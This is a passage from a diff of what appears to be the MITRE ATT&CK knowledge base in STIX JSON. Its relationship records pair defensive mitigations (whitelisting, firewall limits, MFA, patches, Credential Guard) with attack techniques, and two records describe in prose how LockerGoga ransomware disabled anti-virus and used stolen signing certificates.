other users who are allowed to connect, or disallow all users to connect remotely to WMI.", + "type": "relationship", + "id": "relationship--48e6b5fc-9d82-4cdf-84aa-bc23647e1234", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T20:04:40.541Z", + "modified": "2019-07-17T20:04:40.541Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify and block potentially malicious software executed through this technique by using application whitelisting tools capable of preventing unknown DLLs from being loaded.", + "type": "relationship", + "id": "relationship--2c89cab1-efbb-405c-930d-197ae1910e5b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T20:12:19.105Z", + "modified": "2019-07-17T20:12:19.105Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.", + "type": "relationship", + "id": "relationship--6eec2d79-1d59-459d-af33-b186ece9748b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T20:18:11.841Z", + "modified": "2019-07-17T20:18:11.841Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent the creation of new network adapters where possible.", + "type": "relationship", + "id": "relationship--818e5053-404d-4cc2-ba72-037767737e04", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T20:22:08.552Z", + "modified": "2019-07-17T20:22:08.552Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Web Application Firewalls may be used to limit exposure of applications to prevent exploit traffic from reaching the application.", + "type": "relationship", + "created": "2019-07-17T20:50:44.740Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--53a95297-1cce-401c-99a3-34079e878fac", + "modified": "2019-07-17T21:07:56.563Z", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", + "type": "relationship", + "id": "relationship--4c308ec1-f0c6-4444-af7d-ff045204c326", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T21:07:56.528Z", + "modified": "2019-07-17T21:07:56.528Z", + "source_ref": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports for that particular network segment.", + "type": "relationship", + "id": "relationship--d567082e-e9ee-4622-acbd-a592bc3be4a3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T21:08:30.269Z", + "modified": "2019-07-17T21:08:30.269Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems.", + "type": "relationship", + "id": "relationship--9eaaffb7-4dc4-4aac-a1d5-675b71e587df", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T21:15:42.971Z", + "modified": "2019-07-17T21:15:42.971Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.", + "type": "relationship", + "id": "relationship--8df2f4b5-3f60-4b8f-b4aa-dd76eb347ab0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T21:15:42.984Z", + "modified": "2019-07-17T21:15:42.984Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable or block remotely available services that may be unnecessary.", + "type": "relationship", + "id": "relationship--9aaf5e70-4080-4f73-8d6d-3b19f754e9b9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T21:15:42.990Z", + "modified": "2019-07-17T21:15:42.990Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", + "type": "relationship", + "id": "relationship--e23d57b4-5bc4-4d06-9084-9c99464c4af8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T21:15:43.002Z", + "modified": "2019-07-17T21:15:43.002Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.", + "type": "relationship", + "id": "relationship--ae4531a8-ff8d-4a77-9998-c5d37d6134a9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T21:22:37.273Z", + "modified": "2019-07-17T21:22:37.273Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.", + "type": "relationship", + "id": "relationship--7eeaeee6-9ac5-440f-9c31-2e4a915b637e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-17T21:33:42.484Z", + "modified": "2019-07-17T21:33:42.484Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry.", + "type": "relationship", + "created": "2019-07-17T21:50:17.087Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6bff324f-74fc-48a3-b0aa-7e66e5500f2a", + "external_references": [ + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ], + "modified": "2019-07-17T21:51:10.686Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LockerGoga ](https://attack.mitre.org/software/S0372) installation has been immediately preceded by a \"task kill\" command in order to disable anti-virus.", + "type": "relationship", + "created": "2019-07-17T23:32:02.493Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--29d1699f-c87d-4e6c-ac34-b1b46c43286a", + "external_references": [ + { + "source_name": "Wired Lockergoga 2019", + "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.", + "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/" + } + ], + "modified": "2019-07-25T14:22:27.818Z", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LockerGoga ](https://attack.mitre.org/software/S0372) has been signed with stolen certificates in order to make it look more legitimate.", + "type": "relationship", + "created": "2019-07-17T23:32:02.507Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c035989f-a86f-4746-a9d4-3286dc68e473", + "external_references": [ + { + "source_name": "Wired Lockergoga 2019", + "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.", + "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/" + } + ], + "modified": "2019-07-25T14:22:27.826Z", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure event tracers/forwarders, firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls and cannot be manipulated by user accounts.", + "type": "relationship", + "created": "2019-07-18T15:00:31.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--46f69cd8-dab9-4d7a-88cf-e234ce640b9d", + "external_references": [ + { + "source_name": "Microsoft ETW May 2018", + "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + } + ], + "modified": "2019-07-19T14:43:31.185Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. ", + "type": "relationship", + "created": "2019-07-18T15:05:36.677Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4cd9acb-aaea-4b77-890e-f153a58623a4", + "modified": "2019-07-19T14:37:37.523Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Windows Group Policy can be used to manage root certificates and the Flags value of HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store.", + "type": "relationship", + "created": "2019-07-18T15:16:29.839Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--503b3b73-7c96-4bc5-b938-9fc45858d9c2", + "external_references": [ + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + } + ], + "modified": "2019-07-19T14:44:30.797Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.", + "type": "relationship", + "id": "relationship--63be47af-23d6-4a4b-8236-957106973968", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:24:28.408Z", + "modified": "2019-07-18T15:24:28.408Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", + "type": "relationship", + "id": "relationship--976a5089-8355-40af-81a6-53b1d240d064", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:25:08.671Z", + "modified": "2019-07-18T15:25:08.671Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict user's abilities to create Launch Agents with group policy.", + "type": "relationship", + "id": "relationship--016279df-8d48-4e2f-aa39-2be744f0681e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:25:53.814Z", + "modified": "2019-07-18T15:25:53.814Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "type": "relationship", + "id": "relationship--ba31b51b-d55c-4047-a3f5-1455bca4caa1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:26:40.751Z", + "modified": "2019-07-18T15:26:40.751Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", + "type": "relationship", + "id": "relationship--df2171ce-b48b-48d1-aa70-bc5514da033b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:27:13.190Z", + "modified": "2019-07-18T15:27:13.190Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Whitelist applications via known hashes.", + "type": "relationship", + "id": "relationship--a6ef1c3f-291a-4ccb-961b-45a8b92effbe", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:28:31.824Z", + "modified": "2019-07-18T15:28:31.824Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs.", + "type": "relationship", + "id": "relationship--b6cbc9b8-f547-414a-8fb8-b493128c533e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:32:39.956Z", + "modified": "2019-07-18T15:32:39.956Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict users from being able to create their own login items.", + "type": "relationship", + "id": "relationship--40417d08-36df-41b0-ac1f-aa9fa445e229", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:33:06.165Z", + "modified": "2019-07-18T15:33:06.165Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "On Windows 10 and Server 2016, enable Windows Defender Credential Guard to run lsass.exe in an isolated virtualized environment without any device drivers.", + "type": "relationship", + "id": "relationship--b6b51b9a-040c-4860-ba44-811992df131d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:35:28.295Z", + "modified": "2019-07-18T15:35:28.295Z", + "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique.", + "type": "relationship", + "id": "relationship--a9f79f14-d160-4be5-8bbe-ad0b52770b9f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:36:27.535Z", + "modified": "2019-07-18T15:36:27.535Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use tools that restrict program execution via whitelisting by attributes other than file name for common operating system utilities that are needed.", + "type": "relationship", + "id": "relationship--eb5ade8c-73e9-4b69-9dea-c8a8206dec25", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T15:46:37.654Z", + "modified": "2019-07-18T15:46:37.654Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.", + "type": "relationship", + "id": "relationship--738a3345-87be-462f-b177-4831720ab1f7", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T16:20:52.405Z", + "modified": "2019-07-18T16:20:52.405Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper network segmentation is followed to protect critical servers and devices.", + "type": "relationship", + "id": "relationship--80f94d40-0861-4403-b206-1c864a136788", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T16:38:51.138Z", + "modified": "2019-07-18T16:38:51.138Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.", + "type": "relationship", + "id": "relationship--24f37698-b4a1-49fb-8de3-5e4529e99c41", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T16:43:26.127Z", + "modified": "2019-07-18T16:43:26.127Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine. Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.", + "type": "relationship", + "created": "2019-07-18T16:52:10.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7da3b985-e6ab-4e29-aa53-30a621bd48d3", + "external_references": [ + { + "source_name": "SensePost Outlook Forms", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/" + }, + { + "source_name": "SensePost Outlook Home Page", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/" + } + ], + "modified": "2019-07-19T14:45:29.025Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Do not allow a domain user to be in the local administrator group on multiple systems.", + "type": "relationship", + "id": "relationship--ea374714-5df4-4858-83cb-5966a8d4d531", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T16:56:40.253Z", + "modified": "2019-07-18T16:56:40.253Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. ", + "type": "relationship", + "id": "relationship--48fc9c14-0ec3-460a-bb95-fe9a1566397e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T16:56:40.280Z", + "modified": "2019-07-18T16:56:40.280Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.", + "type": "relationship", + "id": "relationship--21a4afb6-8821-45ac-a80a-351ec3c79309", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T16:59:03.979Z", + "modified": "2019-07-18T16:59:03.979Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Do not allow a user to be a local administrator for multiple systems.", + "type": "relationship", + "id": "relationship--616c6cf9-dc97-48f6-846b-50b63be7bbe3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T16:59:04.008Z", + "modified": "2019-07-18T16:59:04.008Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages.", + "type": "relationship", + "id": "relationship--f0b67251-0588-4e5f-9b31-887b5746346e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:02:26.200Z", + "modified": "2019-07-18T17:02:26.200Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.", + "type": "relationship", + "id": "relationship--9a8e7eea-dbef-45b4-9b97-0d85b5defb83", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:08:41.171Z", + "modified": "2019-07-18T17:08:41.171Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.", + "type": "relationship", + "id": "relationship--4b5e8e16-ddf4-4339-859b-f70f980d612b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:11:15.628Z", + "modified": "2019-07-18T17:11:15.628Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When PowerShell is necessary, restrict PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. ", + "type": "relationship", + "id": "relationship--b188b994-7965-4c34-81d6-307f218ba80e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-07-18T17:15:10.792Z", + "modified": "2019-07-18T17:15:10.792Z", + "source_ref": 